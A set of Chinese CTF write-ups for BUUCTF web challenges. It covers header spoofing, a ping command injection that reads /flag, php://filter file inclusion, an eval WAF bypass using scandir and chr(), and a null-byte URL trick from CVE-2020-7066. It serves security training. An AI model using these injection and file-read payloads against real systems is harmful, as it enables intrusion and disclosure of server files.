CTF

[极客大挑战 2019]HTTP

查看源码，发现php文件

href="Secret.php"

BurpSuite抓包

提示：it不是来自https://www.Sycsecret.com

HTTP请求首部字段

Referer:http://www.Sycsecret.com`

作用：告知服务器请求的原始资源的URI

提示：请use"Syclover"浏览器

User-Agent:Syclover

作用：将创建请求的浏览器和用户代理名称等信息传达给服务器

提示：No!!! you can only read this locally!!!

 X-Forwarded-For:127.0.0.1

(非标准首部字段)简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP

得到flag

【buu】[ACTF2020 新生赛]Exec

PING命令

通过发送数据包并接收应答信息来检测两台计算机之间的网络是否连通。

CAT命令

一个文本输出命令，通常是用于观看某个文件的内容。

构造payload如下

ping 127.0.0.1|cat/flag

【buu】[ACTF2020 新生赛]Include

进入题目，看到URL中存在文件包含

/?file=flag.php

php://filter"伪协议

当它与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。

php://filter 伪协议文件包含读取源代码，加上read=convert.base64-encode (用base64编码输出)，不然会直接当做php代码执行，看不到源代码内容。

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码

<?php
echo "Can you find out the flag?";
//flag{*************************}
?>

flag在注释里

【Buu】[BJDCTF 2nd]elementmaster

查看源码，发现id处是两串十六进制，转换得到：

0x506F2E ==> Po
0x706870 ==> php

访问Po.php文件,没有出现404 Not Found,出现一个点

.

利用python遍历访问所有 元素名.php 文件,将存在文件的内容拼接在一起输出，得到：

And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php

访问获得flag.

【buu】[RoarCTF 2019]Easy Calc

查看源码,发现calc.php文件和提示：

<!--I've set up WAF to ensure security.-->

访问calc.php的源码，显示了waf的过滤规则：

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

利用php和waf对于请求参数解析的差异达到绕过

查看目录

calc.php? num=1;var_dump(scandir(chr(47)))

发现f1agg文件，读取f1agg文件

calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

获得flag.

【buu】[GKCTF 2020]CVE版签到

hint提示cve-2020-7066:

在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。

打开网页，发现提示：

You just view *.ctfhub.com

结合漏洞和提示，构造url

/?url=http://127.0.0.1%00.ctfhub.com

打开网页，发现提示：

[4] => Tips: Host must be end with '123'

因为提示host必须以123结尾，所以构造新的url

/?url=http://127.0.0.123%00.ctfhub.com

获得flag.